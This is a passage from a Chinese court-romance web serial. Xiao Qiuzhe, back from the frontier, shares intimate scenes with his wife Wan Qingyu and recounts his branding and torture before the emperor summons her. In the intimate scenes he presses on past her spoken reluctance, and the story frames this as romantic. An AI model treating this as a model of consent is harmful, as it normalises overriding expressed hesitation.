只是话还未说出来,只见晚青桁和方于匆匆跑来,晚青桁还未及喘息,便大声喊道:“姐夫,你喝了毒茶?那茶……” 话音未落,他便愣在了原地,目光在树下那两人暧昧的姿态上流转,随即尴尬地眨了眨眼。方于也意识到了不妥,连忙转过身去。 晚青妤见弟弟突然到来,急忙从萧秋折身上下来,脸颊瞬间红了。她整理了一下衣衫,转头看向晚青桁,问道:“四弟,你说什么毒茶?” 问罢,她又看向萧秋折,皱起了眉头。 萧秋折站起身,按压了下方才勾起的情绪,安抚道:“别太紧张。” “怎么能不紧张?”晚青妤脸色骤变,一把抓住他的手,急问道:“萧秋折,你真的喝了毒茶?是付钰书逼你喝的?” 付钰书那个畜生。 萧秋折见她如此焦急,反握住她的手,又安抚道:“别担心,我早已服下了解药。并未中毒。” 他经历过无数风雨,上战场时身上还一直备着各种解药,这也是率军打仗应有的准备。所以,在喝下那三杯毒茶后,他便在回亲王府的路上就服下了解药。 晚青妤听闻未中毒,悬着的心终是放下了,但仍是担心,转身欲寻太医,却被萧秋折拉住:“太医已为我检查过了,毒素已尽除,已无大碍,你莫再担心。” 晚青妤终是放心下来。只是她未曾料到,他为了救她,竟甘愿饮下毒茶。 萧秋折是爱她的。 很爱。 萧秋折又道:“别再想此事了,你一夜未眠,先去睡一会。” 晚青桁和方于知晓二人需得静养,晚青桁便道:“既然姐姐已无恙,那便交由姐夫照料,我先去向母亲与二哥报平安。” 萧秋折:“好,你们也辛苦了,尽快去休息。” 二人离开后,萧秋折牵着晚青妤的手回了卧房。屋内陈设依旧,之前新添的床铺还在。 晚青妤本欲走向小床稍作休憩,却被萧秋折带到大床旁坐下。他帮她脱下鞋子,又脱下自己的鞋子,拥着她一同躺下。 甫一躺下,萧秋折才察觉自己浑身酸痛不已。战场上征战多日,他早已疲惫不堪,此刻放松下来,只觉周身无处不痛。 他将晚青妤紧紧拥入怀中,在她耳畔轻声道:“先睡一会,我有点累。” 回想起边关之战,他心中仍有余悸。他不知自己是如何以惊人的毅力斩杀边关霸主,又如何在重伤之下收复五座城池的。若说缘由,或许只因他心中那份强烈的念头:活着回来再见他的妻子。 头一次,他与人说出“累”这个字,从小到大,他都要求自己,决然不能喊苦喊累,因为那是失败者才说的话。 然而此刻的他,却不想强装坚强,他渴望从晚青妤身上汲取一丝疼爱。 晚青妤翻过身来紧紧抱住他,脸颊贴在他的胸口上,听着他略显紊乱的心跳声,轻声道:“你安心睡吧,我会一直陪着你,你多睡一会。” 她知道,他很累很累,身上也很疼很疼。 她的声音如同春日里最温暖的阳光,又照进了他的心里。他紧绷的身躯终得缓解,紧紧地将她揽入怀中,闭上眼睛,沉沉睡去。 晚青妤依偎着他,感受着他身上的温度,渐渐地,也睡着了。 今日天朗气清,惠风和畅,屋外晴空如洗,微风轻拂,门帘上的风铃随风摇曳,发出清脆悦耳的声响。 不久,王爷与太妃前来探望萧秋折,却被守候在门外的方于礼貌地拦下。方于解释道:“公子与少夫人正在休憩,待他们醒来,我即刻前去禀报。” 王爷与太妃闻言,没有打扰,悄然离开了。 此时,去追付钰书的方齐归来,王爷见到他,把他唤走询问边关战事。 转眼间已至黄昏,晚青妤悠悠转醒,他们整整沉睡了一日,这一觉,均是睡得安稳而踏实。 晚青妤见萧秋折仍在沉睡中,趴在他的胸口上,细细地打量着他,从他浓密的眉毛到他的眼睛,再到他挺拔的鼻梁,最后目光落在他的唇上。 经过一番休憩,他的唇色已恢复了许多,用过饭,喝过茶,也没有那么干了。她伸出手指轻抚上去,却见他的喉结滚动了两下。她微微一怔,不知他是否已经醒来。 她欲抽手而起,却被萧秋折猛地一把搂紧。 夜幕降临,清风徐徐,窗户被风吹得“吱呀”一声。 晚青妤眨了眨眼:“你醒了?” 萧秋折应了一声,睁开眼,对上她那双略带羞怯的眸子,嘴角勾了一下,将她按在胸口上的手缓缓收拢:“天黑了,接着睡。” 晚青妤望了一眼窗外,确实已经天黑了,再看他睡眼惺忪的模样,许是还未睡饱,便道:“你若还困,就再睡一会,我已经不困了,去收拾些东西。” 萧秋折望着她,抚了抚她散落的碎发,轻笑道:“有什么可收拾的?况且天色已晚,只适合睡觉,不适合做其他事情。听话,继续睡。” 数月未见,萧秋折自然舍不得放开她,他只想抱着她睡,一直抱着。 晚青妤被他哄得舍不得离开,温顺地依偎在他的怀中,轻轻阖上眼,却发觉丝毫没有睡意,于是又睁开眼,只是抬眼间,发现萧秋折正望着她。 她愣了一瞬,想要躲开他的目光,却被他一把扣住脑袋,不让她躲。 房间内甚是静谧。 静的让萧秋折难以忍受,他将晚青妤往上托了托,让她趴在自己身上,随后伸手捏住她的下巴,让她与自己拉近些距离。 晚青妤的胸口贴着他的胸口。 触感让萧秋折红了脸。 他吸了口气,嘴唇贴上她的脸颊, 滚烫的热气落在她的肌肤上,温热如同夏日里的光,一瞬间让她的脸滚烫了起来。 萧秋折动了一下,想要更近一步,二人气息交缠间,暧昧至极。 五月的夜晚,风带着花香,从被吹开的窗扉飘来,掺着屋内升温的暧昧气息,让欲、火烧的更旺。 晚青妤看着萧秋折伸出的手,紧张地动了下身,她的体温偏高,而他则常年偏凉,今时也如她这般炙热起来,手掌触到哪里都是滚烫的,如同蚂蚁在心间爬行,酥痒难耐。 晚青妤轻颤了下身子,刚想推开他的手,便被他再次扣住,手臂环住她的腰身,如同被困在甘松乡的一片清廉棉田之中,无处可逃。 她感受到他身上的那份冷硬与热烈并存的气息,既冷淡又充满强烈的欲望。 他用指腹轻轻摩擦着她的唇瓣,那唇色鲜艳如春日之花,唯有呼吸间的灼热泄露了内心的悸动。 “试试。”他低声道,声音中带着一丝难以言喻的深情与渴望,仿佛要将所有的情感都融入这简短的言语之中。 晚青妤轻启嘴唇,浅尝辄止地与他相接,随后扬起颈项,摇摇头。 此刻,她的眼眸宛如春日里最温柔的风。 他微皱了下眉,望着她。 而她的手指不由自主地滑向他滚动的喉结,先是轻柔地摩挲,感受着有力的跳动,随后轻按了下。 她不愿意,还故意挑逗他。 晚青妤,真可以。 萧秋折被她撩得难以忍受,也察觉到她脸上的微妙变化,扣住她的脑袋往下一压,亲了上去,含住她的唇,亲的温柔而缠绵。 她满头青丝垂落在他肩头,心脏怦怦跳个不停。 他这次吻的温柔,也软到了极致,如同熬制的糖浆,甜蜜而又黏腻,也像是一捧春水,在两人心中一阵流淌。 晚青妤从未陷入过如此难以自拔的境地,萧秋折的唇带着微热的温度,每一次触碰都像是撩拨心弦的火,恨不得将她整个身子点燃了。 房间内的气氛愈发浓重,连空气都变得黏稠起来。 萧秋折的舌尖轻轻撬开她的贝齿,勾得她心头一阵颤抖,微微闭上眼睛,不自觉地回应着他。 吻得越深,情感就越发汹涌澎湃,仿佛要将所有的爱意都倾注在这个深吻里。 她肩头的粉色轻衫滑落,衣带也尽数散开。 她身上还有沐浴后的清香。 温热的柔软让他红了脸。 他深吸一口气,动作停滞了一瞬,而后把她往上提了提。 晚青妤面上又烫又红,一只手不自觉地抓紧了他的手臂。 他的动作有点强势,却又用温柔的气息包裹着她。 屋内,烛火摇曳,光影婆娑,映照着二人交缠的身影,春色满室,情愫难掩。 他又吻上她,辗转勾缠,她被他撩拨得浑身燥热,鬓角已渗出细密的汗珠。 萧秋折感受到她情动愈甚,用指腹摩挲着她的耳朵,激得她一阵轻、喘。 她微微睁眼,他捕捉到她的目光,难耐地开口:“来!” 第62章 第62章乖顺的像只吃得甚欢的猫…… 萧秋折温热的手掌覆上晚青妤的肌肤之时,她浑身不禁轻轻一颤,随即抓住他的手臂,喘息间,目光盈盈地望向他,半晌说不出话来,脸颊红的不行了,灼热得仿佛能滴出血来。 她试图挣脱他的怀抱,却反被他更紧地锁住。他深知她心中尚存些许紧张与顾虑,或许是对自己身份的介怀。 他一手轻抚她的背,随即低头,含住了她的唇瓣,深情缱绻。另一只手则托着她的脸颊,禁锢着她不让她躲。 情愫如丝,纠葛缠绵。 晚青妤趴在他的胸膛上,久了便觉有些疲惫,微微动了动身子,欲要坐起。 萧秋折察觉后将她扶起,让她倚坐在床边,随后倾身上前,一手揽着她的腰身,一手抵着墙壁,把小小软软的她圈了起来。 晚青妤在他的亲吻下,浑身燥热,一只手不自觉地抓紧了身侧的床幔,胸口起伏不定,已经难以忍受。 萧秋折亦是情动不已,额间已渗出细密汗珠,他略显闷热地扯开了衣襟,露出健硕的胸膛,他首次在她面前袒露,胸膛起伏间,尽显蓬勃的生命力。 晚青妤望着,脸颊又烫又红,瞬时涌起一股冲动,白皙的手指不由地攀上了他的肩头,脸颊贴在了他的胸口上,轻轻磨蹭了几下。 萧秋折见她主动,勾了下唇角,任凭她激动地蹭着。 她闻着他身上清淡的竹叶香,无法自拔了。 他拖起她的脸又亲了上去,她勾住他的颈,仰起头,主动迎合他的亲吻。她现在有点不管不顾了,脑中一片空白,唯有他给的情欲填满了整个身体。 他怎么让她这么喜欢呢! 脸好看,身体也好看。 他扯了一下她的腿,一只手又托着他的后颈,另一只手撩起了粉色衣裙。 指腹触上来以后,她不禁全身一颤,低吟了一声:“别……” 她刚吐出一字,便被他以唇舌封缄,指腹亦未曾稍离。 她初时惊怔,旋即肩头轻颤,不由地往后退缩,奈何身后已是墙壁,无从躲避,只好侧身欲躲,结果后背倚了个空。 萧秋折手快,臂膀一伸,将她紧紧护住,接着“咣当”一声,二人一同摔落在地。 晚青妤轻“啊”了声,微蹙了下眉头,所幸萧秋折护住了她。 萧秋折见她略显慌乱地移开唇,温声问:“疼不疼?” 晚青妤望着身上的他,既尴尬又羞赧,细声道:“还……还好。” 她伸手轻推他的胸膛,欲要起身,却被他牢牢压住。 地面微凉,驱散了身上的些许燥热,她娇小柔软的身子被覆在身下,隐隐察觉到了什么,红着脸眨了眨眼,动了动身。 屋外满地流银,屋中烛火摇曳。 细微的动作引得萧秋折手臂一紧,勾唇问她:“你故意的?” 她急忙摇头,不敢再动。 “晚青妤,我不想再争取你的意见了。” “你,身上有伤,况且还是腰伤,万一动作太大流血了怎么办。” 他听到“动作太大”笑了笑,咬了下她的唇:“没事,可以的。” 他说着,粉色衣裙微动,却被她一把抓住了手腕,忙道:“我紧张。” “乖,不紧张。” “我……” 她的力气怎敌得过他,他稍一用力,指腹又已触上。 她身子一缩,吐了口气,紧张地道:“不行不行,你听话,我们明日可好?明日……” 说话间,他指尖微动,她的肩头又是一颤,刚想开口又被他亲上,在她耳边道:“晚青妤,我喜欢你,很喜欢很喜欢。” 喜欢到什么程度他自己也不清楚了,此刻只想拥有她。 他这几声喜欢,激得她喘着气一阵连连点头,喉间轻咽,双手环上他的颈,主动去亲吻他。 什么繁文缛节,伦理道德,不想管了,也不想遵循。 她也不再抗拒他细微的动作,尽管那触感让她羞涩难耐。她的吻愈发主动而深情,撩得他情动不已。 她的手轻抚过他的背,再次不自觉地触碰到他背上的伤疤。 她指尖蜷缩,本能地想要抽回,却被他一把握住。 “没关系。”他低眸望她,满是欲、火的眼中有些许忧伤,“以后都可以摸。” 他不准备再躲避,低声:“青妤,对不起,我无法以一具完好无损之躯赠予你。我背上,有一道令我深以为耻的伤疤,亦因此而总是回避,不敢让人窥见,更不敢让人触碰。这份痛苦,我独自承受已久,也怕你见了会惊惧,会嫌弃。但是近日来,我开始犹豫如何向你坦诚。” 他说着拉起她的手,贴到自己后背的伤疤上。一瞬间,晚青妤只感心头一麻,指尖颤了下。 萧秋折知晓她一时难以接受,他抚上她的脸,望着她不断闪动的眼眸,压着喉中的酸涩,道:“青妤,可不可以答应我,待 会无论你看到什么,都不要说话好不好?让我亲自说给你听。在你全然交付于我之前,我想,我应该将我的过往,毫无保留地展示给你,因为我不能对你有一丝一毫的欺骗。” 要说之前,他还没有勇气坦诚,但是现在,他觉得也是爱他的,应该能接受他的一切。 晚青妤凝视着他,他那双眸中满是紧张与不安。她深知,他曾经过折磨,背负着难以言说的伤痛,那些是他多年未曾启齿的隐忍。 她缓缓伸手,捧起他的脸,温声道:“没事的,你尽管说,我怎么会嫌弃呢。无论你何种模样,在我心里都一样。” 他愿意与她分享过往,她很开心。 她的话语如春风一样,她真的非常善解人意,他心中的情绪得以平复,坐起身来,将她扶起,而后缓缓转过身去,背对着她。 屋内灯光虽不甚明亮,却足以让她看的清清楚楚。 她以为她做好了心理准备,结果待他转过身之后,她的目光瞬间滞住,不由地伸手捂住了嘴巴,眼中满是震惊与心疼。 那道伤疤上,赫然烙印着一个“辱”字,刺眼狰狞。她紧咬着唇,尽量不让自己发出一丝声音,然而眼泪已经控制不住地落下。 房间里很安静,他隐隐听到了她的抽泣声。他心中五味杂陈,能感受到她的震惊与心疼。 他垂下头,从喉中挤出话来,给她讲起了他七年前那段经历。 甫一开口,喉中很是苦涩:“其实,自我幼时起,皇后便不喜欢我,彼时我尚不明其故,直至后来,我才渐渐知晓,皇上喜欢我母亲。我母亲相貌甚是出众,也颇有才情,又出身名门望族,及笄之后便引得无数贵族公子竞相追求,但全都被我母亲拒之门外。” “我母亲十六岁那年,我父亲与皇上都向母亲表白了心迹,欲迎娶她为妻。彼时,他们二人皆为皇子,于皇族之中亦是佼佼者。尤其是我的父亲,比当时的太子还要优秀。两个人同时表白,而我母亲却选择了我父亲,二人很快就成了婚。” 他的声音愈发沉重:“皇上伤心不已,转头迎娶了我母亲彼时的闺中姐妹,也就是当今的皇后。皇后虽也出身名门,又很优秀,却始终未能赢得皇上的真心。二人成婚后,皇上对她冷淡至极,且对她直言心中唯有母亲一人,娶她不过是与母亲置气罢了。何其讽刺,如此,也让皇后对母亲产生了嫉恨。” “据外祖父所言,母亲生下我后,那段时日,父亲与母亲争吵不断。在我一岁那年,他们突然起了一场前所未有的激烈争执,母亲哭得撕心裂肺,任谁也无法劝慰。父亲一气之下离家出走,而后许久未归。不久后,就传来他在外另寻新欢的消息。” “父亲突然像变了一人,对母亲甚是冷漠,二人相见便是争吵,父亲对我亦是疏忽冷淡,甚至都不肯抱我一下。而后的几年里,他在外拈花惹草,纳妾娶妃,生活过得糜烂至极。而母亲,则每日以泪洗面。” “直至我六岁那年,母亲终因积郁成疾,撒手人寰。那时,父亲甚至未曾踏足她的坟前,最后一程也未送她。当时我十分不解,他们之间究竟有何深仇大恨,竟让父亲如此绝情,甚至对我亦心生怨怼。” 说到这里,他的情绪有些激动,嗓音都有些低哑了。 他冷笑一声,继续道:“母亲离世后,皇后便时常召我入宫。初入宫时,我满心欢喜,却未曾料到,那竟是噩梦的开始。皇后看到我便怒不可遏,抬手便是一巴掌将我打倒在地。我趴在地上,满心疑惑,不知自己做错了什么,竟惹得她如此震怒。而她却不顾我的哭喊,命人将我绑了起来,关入了地牢。在地牢中,我遭受了非人的折磨,数日不见天光。” “这期间,父亲未曾寻我,祖母也不知晓我的下落,仿佛我的生死,对他们而言无关紧要。数日后,我被放出皇宫,伤痕累累地回到家中。唯有外祖父那边的人,对我甚是关怀。他们前往皇宫质问皇后,质问她为何我从宫中归来便身受重伤,皇后却矢口否认,甚至开始打压外祖父的一族,想方设法罢免了他的官职。” “此后的数载春秋,我不时被召入那金碧辉煌的皇宫之中,耳畔总萦绕着流言蜚语,或辱骂或质疑,更有甚者,妄言我非父亲亲生骨肉。” “多么荒唐。” “在亲王府里,那些失宠的妾室也把我当成出气筒,让我于大雪纷飞之日跪于祠堂,粒米不进。而此等境遇,皆因我那冷漠无情的父亲。他对我的遭遇视而不见,任由我被欺辱被打压。” 他连连冷笑了几声,笑声中全是失望。 “自母亲离世,我仿佛被遗弃于这苍茫人世,面对这凉薄世界,我遍体鳞伤,却只能咬牙坚持。我不明白,为何命运待我如此苛刻,好像连活命的资格都没有。后来,我苦读不辍,以科举为径,想要活的有尊严一些。然而,当我十三岁那年高中榜首后,却被皇家以皇嗣之名剥夺了科考之权。皇上一句话,让我的努力毁于一旦。” “我不甘心,十四岁那年,京城突遭暴雨连绵,月余不绝,洪水肆虐,几近淹没整座城池。众人束手无策,我挺身而出,以所学之术,指引众人疏通水道,终使洪水退散,保得京城安然无恙。” “不久后,那年我再次高中状元,尽管皇家初时仍旧不愿承认我的才华,但得益于百姓与大臣们的仗义执言,我这才得以保住状元之名,于京城之中渐渐站稳脚跟,地位亦随之水涨船高,在亲王府邸也谋得了一席之地。” “十六岁那年我建造了安平桥,赢得了天下人的敬仰与尊重。及至十七岁,正当我以为人生即将步入坦途,可以每日以笑颜示人时,一道突如其来的圣旨又将我推向了边关。皇命难违,年仅十七的我,只得披上战甲,踏上征途。战场之上,我毫无经验,备受一些将军的轻视与屈辱,甚至被强令冲杀于前锋之位。” “那一日,我被边关霸主獒利擒获,带回了军营。” “对于边关之人而言,捕获一名中原人无疑是件大喜之事,而当他们得知我的身份后,更是欣喜若狂。他们用尽手段折磨于我,甚至将我悬挂于城门之上,企图以此威胁我方撤军。我在烈日之下,饱受风吹日晒,几近丧命。” 说起那段最痛苦的日子,他的眸光渐渐暗沉下来,漆黑瞳仁如墨一样深。 “而后。”他接着道,“霸主獒利将我拖至营中,见我已是奄奄一息,而我军毫无波澜,以为我方已不在乎我的生死,也觉得我失去了利用价值。于是,他对我施行了边关最为残忍的酷刑……” 说到这里,他顿了一会,再开口,声音低了几分:“他在我的背上,用烧红的铁锹烙下了这个‘辱’字。这个字不仅承载着屈辱,更预示着此人从此失去了尊严,只能如同蝼蚁般被人践踏。这是边关特有的惩罚方式,一旦背上烙下此字,此生便注定被人唾弃,再无翻身之日。” “他们为了让‘辱’字烙印更为持久,更是以烧红的铁水在上面浇灌,使其深入肌肤,成为永远无法抹去的印记。” 晚青妤听到这里,已经哭得全身颤抖。 “随后。”他继续说,“随后,我被囚禁于阴暗潮湿的地洞里,那里漆黑一片,阴冷刺骨,空气中弥漫着让我窒息的霉腐之气。我置身于无尽的黑暗与寒冷之中,唯有依靠微弱的触觉,在勉强果腹的食物中寻找一丝生存的希望。” “他们时常前来对我肆意打骂,尊严与自尊被他们践踏得支离破碎。半年时光,我就这样在地洞中度过,与世隔绝,无人问津。” “我的父亲,我的亲人,我的国家,好像已经忘了我。或许在他们心中,我早已死在战场上。在地洞中的日子里,我的伤口不断发炎,背部传来的剧痛让我几乎窒息。我无数次地咬紧牙关,忍受着那难以言喻的痛苦,甚至将手臂和手指咬得血肉模糊,也将地道周围的墙壁挠得斑驳不堪。” “疼痛难忍时,我多希望自己能死。” 死了就不会疼了。 “半年之后,我终于迎来了一次逃离的机会。我结识了一位同样背负着耻辱烙印的男子,他曾是霸主的手下,因一句话说错而遭受了同样的酷刑。我们经过长时间的筹谋,终于在那次难得的机会中逃出了边关。” “逃出边关之后,我拼尽全力地跑,不敢停下,一直跑,一直跑。我从平原跑到山巅,又从山崖跃过河流,双脚早已被磨得血肉模糊,但我却不敢有丝毫停歇。后来我被逼至悬崖边缘,面对着万丈深渊,我毫不犹豫地纵身跳了下去。宁愿死,也不愿再落入他们手里。” “我落入河中,撞上了锋利的礁石,腿骨断裂,双眼也被树枝所伤,几乎失明。所幸,一位善良的渔民救了我,他将我送回京城,送回了亲王府。回府之后,我陷入了长时间的昏迷,醒来时双腿仍无法行走,双眼模糊,双耳失聪,好像成了一个废人,很绝望,也失去了生存的意志。” “再后来,我的听力逐渐恢复,方齐和方于就将你写给我的信一遍遍地读给我听,我听着那些信,一点点地找回了活下去的勇气。” 是她,让他坚持活了下来。 他在诉说时,几度哽咽,难以继续。这些回忆对他 而言,无疑是痛苦的,也是他一直以来内心挣扎的根源。 他顾虑重重,尤其是她对他的看法,他很在意。 “青妤,在你面前,我希望展现自己最好的一面,也想把最好的东西都给你。可是这个烙印,我无法改变,我用过很多药,试过很多方法,可是却怎么也去不掉。我最坏的一面暴露在你眼前,我深知,这对你而言,也是一种难以接受的事情。其实,我不想告诉你,但是又不想隐瞒你。” 直到现在他内心都在挣扎,他也怕那道耻辱的伤疤,今后影响到自己的妻儿。 房间内,一片沉寂,这份静谧让萧秋折心生慌乱,他不敢回头,更不敢去看身后晚青妤此刻的神情。 而晚青妤垂头坐着,肩膀一直在颤抖,泪水也从未停过,她满心里都是心疼与怜惜。 她一直在擦眼泪,却怎也擦不完。 世间怎会有如此命苦之人呢?他到底依怎样的心态和意志撑到现在?或许换作他人,哪怕是换做她,可能早就了解了这破烂的命运。 阳光照着世间,他却被挤到了阴暗的角落里。 “萧秋折。”她轻轻唤了一声,从身后抱住他,脸颊贴在那块伤疤上,哽咽着道:“我怎会嫌弃呢?我一点都不嫌弃,我很心疼,很心疼。我也很敬佩你,你的勇敢超乎常人,比我认识的任何人都要坚强。以后,我会帮你寻找治疗伤疤的药,即便找不到我也会亲手去学。就算真的消除不了也没关系,我不会在意的。” 她怎么舍得呢! 她说起话来总是这么好听,他的眼睛已经泛红了。 在他这烂透的人生里,老天竟让他遇到了如此美好的人,这怎么不算一种恩赐呢! 他转过身,望着她通红的双眼,苦涩笑了笑,然后帮她擦了擦眼泪。 七年的隐忍,终于结束了,对他而言,是一种极大的解脱。 此时,屋外已经漆黑,夜晚的风还吹着,两人身上的燥热褪去,晚青妤只觉外露的肌肤有点冰凉,她伸手搓了搓手臂。 萧秋折见状,伸手捞起床上的粉色衣衫,为她披上,而后抱起她,将她放在一旁的桌子上。倾身亲了一下她的眼睛,又低头深深吻上她的唇。 若说之前还有所顾忌,那么此刻,当她完全接受了他之后,他心中的占有欲比任何时候都要强烈。 他的吻从她的眉眼落到她的鼻梁,又亲上她的唇,最后落在她白皙的脖颈上。 “你……”气息灼热间,晚青妤捧住他的头,低喃道:“别……别亲这里。” 可是她话音未落,他已经亲了上来。她一双手猛地抓紧他,推着他想要挣脱,却被他扣紧了,让她动弹不得。 她有些羞涩地抬头往后仰去,而他却追着将她圈在怀中。 桌子硬邦邦的,坐着甚是不适,她勾起他的脖颈,细声道:“桌子有些硌的慌。” 她的声音绵软,满是撒娇的意味。 他蹭了蹭她的鼻尖,应了一声,一把将她托起,而后抱到床边,她还未及坐稳,他又俯身而下。 他亲的肆无忌惮,她推着他的脑袋让他克制一点,可他哪克制的了。 他的吻落在哪里哪里一阵颤栗。 她在他强烈的攻势下,终是妥协了,也不准备克制了,开始迎合着他的吻,发烫的身子,贴着他的胸口轻轻磨蹭。 她咬住他的唇,又去勾他的舌。 “萧秋折,我好喜欢,好喜欢。” 好喜欢,也好激动。 “嗯!”他应着,享受她难得给的亲吻,开始配合着她生涩的索要。 她把他推到床角,按着他的胸口仰头亲着他,纵使他坐着,二人身高也有很大的悬殊,他怕累着她,双手撑着床,往后倾身,让她爬上来,趴在他身上。 她亲的很温柔,总是小心翼翼地用舌尖勾他,一只手在他耳朵上摩挲着。 他的耳朵很敏感,平时害羞或者激动时,总是耳朵先红,时下被她摩挲着,他只觉一股难耐的酥麻从脚底一直往上窜。 “晚青妤……”他不停地滚动着喉结,她的动作太轻柔了,越是轻柔,越是撩得他难以忍受。 她一边亲他,还一边用脸颊蹭他的脸颊,乖顺的像只吃得甚欢的猫儿。 他哪受得了。 受不了。 不行了。 他伸手解开她的粉色衣裙,又将自己的衣衫褪去,然后翻了个身。 等不了一点了。 可是…… “公子。”房门突然被扣响,方于在外面喊:“公子,皇宫里来了人。” “……” “公子……” “……”萧秋折在心里骂了声,动作停住,皱起了眉,瞬时涌起一股不悦。 喊的真是时候。 晚青妤闻声,本能地向后缩了缩身子,结果却被萧秋折猛地按住,然后掐住她纤细的腰肢,不许她动。 他还想继续。 方于又在外面催:“公子,皇上急召少夫人入宫,命少夫人即刻动身,您快出来。” 少夫人?皇上召见晚青妤? 萧秋折疑惑地看向晚青妤,一只手还在她腰上按着。 晚青妤则从情、欲中猛然惊醒。 皇上召见她做什么?还是在这个时辰? 难道……皇上已经知晓了她身份的事? 她头皮一麻,看向萧秋折,萧秋折也疑惑地望着她,二人四目相对,均是隐隐预感大事不妙。 晚青妤愣了一会,反应过来后捞起一旁的衣衫,迅速穿上。 萧秋折也起身:“我陪你一起去。” 第63章 第63章“那你呢?可是爱我?”…… 时下已接近戌时,皇上于此刻召见晚青妤,绝非寻常之事,二人匆忙整理好衣饰出了房门。 门外的方于见二人现身,连忙禀报道:“公子,宫中遣人来,只言让少夫人即刻入宫,未透露缘由,轿撵在院外等候。” 萧秋折闻言应了一声,随即紧紧握住晚青妤的手,二人向府门外走去,但未及出院门,忽见太妃过来。 太妃待望见萧秋折,满眼激动,细细打量着,关切地问道:“孩子,你何时归京的?边关局势可好?” 边关战报未至,萧秋折此时突然回京可不是一件小事。 但此时谈论军情多有不便,萧秋折只道:“祖母此事不便多言,我日后定当详述。祖母天色已晚,您先回房歇息,我与青妤需即刻入宫一趟。” 进宫?太妃面露疑惑,目光转而落在晚青妤身 上,眉头微微蹙起,晚青妤遭付钰书挟持之事,她已经听闻。 对于晚青妤与付钰书的那段陈年情事,她心中愤然,尤其是在萧秋折远赴边关的这段日子里,晚青妤竟还与付钰书纠葛不断,甚至落到被其挟持的地步,更是让她怒火中烧。 晚青妤见太妃投来复杂的目光,微微颔首,行了一礼,没有说话。 萧秋折念及院外有宫人等候,不便多说,便对太妃道:“祖母,您先歇息,我们去去就回。” 他说罢便牵着晚青妤的手,出了院子。 太妃站在原地,望着二人紧握的双手,沉沉地叹了口气,随即吩咐下人去打听付钰书的下落。 晚青妤和萧秋折出了院门,只见宫中的一位公公与一队轿撵已在门外等候。公公上前,恭敬地行了一礼,目光在萧秋折身上停留片刻,道:“世子,皇上旨意,只召少夫人入宫,您且在府中静候。” 只召晚青妤入宫?萧秋折蹙眉,心中愈发不安。他紧握晚青妤的手,沉声道:“深夜入宫,我怎放心得下?我必须相随,否则你去回禀皇上,明日再传旨不迟。” 他怎会放心让晚青妤只身进宫。 公公闻言,愣了愣,他深知这位亲王府世子性情霸道,连太后都敢忤逆,此刻又说出这般话,一时竟不知如何反驳。皇上急召耽误不得,他只得道:“也罢,那世子便一同入宫吧。” 萧秋折应了一声,牵着晚青妤的手上了轿子。二人坐下后,萧秋折忽想起睡了一整日还未用饭,问晚青妤:“饿不饿?” 晚青妤从方才还未感觉,时下经他一问,突觉腹中空空,便点了点头。 此时轿子尚未启程,萧秋折掀开车帘对公公道:“你们稍等片刻,我夫人饿了。” 说罢,他转头对方于道:“你速去厨房拿些点心来。” 方于一愣,随即转身跑回亲王府去取。 那公公虽心中不悦,却也无可奈何,只能耐心等候。 不一会,方于捧着点心与茶水回来,交给萧秋折。萧秋折这才对公公道:“可以启程了。” 马车缓缓向皇宫行去。 马车里,萧秋折掀开方于拿来的食盒盖子,对晚青妤道:“你先吃点这些垫垫肚子,待我们从皇宫回来,我再让厨子给你做些好吃的。” 他说着,自袖中取出一方洁白手帕,牵起她的手帮她擦了擦,随后又擦擦自己的手,拿起一块糕点,递给她。 晚青妤接过了糕点,指了指,示意他也吃,萧秋折也拿了一块。 马车里有些昏暗,两个人安静地吃着。一静下来,晚青妤就想起了方才二人在卧房里未做完的事情,脸颊不由地红了。又想起他亲吻时让她更为倾心的模样,又不禁笑了起来。 萧秋折见她心情好像很好,问道:“想起了什么开心的事?” 晚青妤嘿嘿笑了声,没好意思说,只道:“点心太好吃了,好像比以往的都要甜,你有没有吃出来?” 她说着,眼睛弯弯的,好像真的很开心。 萧秋折的心情也跟着好起来,回道:“确实比以往的都甜。” 应该是心里甜,吃着才甜吧。 道尽了曾经那些伤痛,现在对他而言,比任何时候都要开心,都要轻松。 晚青妤吃完糕点,萧秋折又帮她擦了擦手,而后递上水壶,让她润了润喉。随后,他揽住她,让她的头靠在自己的肩上,温声道:“你先小憩一会,到了皇宫我叫你。” 晚青妤靠在他肩头,双手环住他的腰,嘱咐他:“待会进了宫,若皇上只召见我一人,你便在外静候,切不可与他们起争执。你刚从边关归来,局势尚未完全稳定,万不可出岔子。” 萧秋折深知她心中所忧,回道:“你放心,我心中自有分寸。反而你在皇上面前要多加留意,毕竟他是九五之尊,非比寻常。” 晚青妤应了声,又搂紧他一些,有他在,很踏实。 马车入宫后,二人被引到了皇上的大殿前,侍卫上前拦住了萧秋折,公公只带着晚青妤入了殿。 萧秋折立在殿外心有不安,那日在客栈中,付钰书提及他和晚青妤的血亲之事,被一旁的张幼年听了去,如今此事怕是已传到皇上耳中,皇上若知晓,定然会调查。而最有效的办法就是滴血验亲,但是天子龙体岂容随意取血。 此事若再闹至朝堂,只怕会满城风雨,众人皆知,无论结果如何,他们夫妻二人恐再无宁日。 御书房内,檀香袅袅。皇帝正伏案批阅奏章,见晚青妤进来,随手将朱笔搁下。 晚青妤行至御前跪拜:“臣妾,叩见皇上。” 皇帝目光在她身上停留片刻,沉声开口让她起身。 晚青妤站起后,始终不敢抬眼望向龙颜,只是垂着头,静默不语,静待皇上示下。 皇上走到她身前,细细打量着她,问道:“你可是前太保大人之女,晚青妤?” 皇上嗓音深沉,带着威严。 晚青妤福身回道:“回皇上,正是臣妾。” 皇上又问:“你今年多大?生辰又是何时?” 皇上这般寻问,晚青妤心中已是了然皇上叫她来的目的。她有些紧张地如实回道:“回皇上,臣妾今年十九岁,生辰乃八月二十五日。” “十九岁……”皇上低声喃喃了一句,见她一直垂首,微蹙眉头,道:“抬起头来。” 晚青妤依言抬头,看清了皇上的面容,这是她第一次面见皇上,皇上看起来约莫四五十岁年纪,与萧亲王年岁相仿,身材高大,气势非凡,浑身上下散发着一种不可侵犯的龙威。他的眉眼如同萧家众人一般,都有着独特的美,看人时眼神专注而深邃。 晚青妤不禁想起萧秋折与小皇子的眼神,好像与皇上皆有几分相似。 皇上仔细打量她一番,沉默了片刻,开口道:“朕听闻,有人称你并非晚家之女,更有人说,你是皇贵妃的女儿。” 他说是皇贵妃的女儿,而并非说是他的女儿,且语气中带着一丝探究,神情亦有几分不可思议,显然对此事亦抱有疑虑。 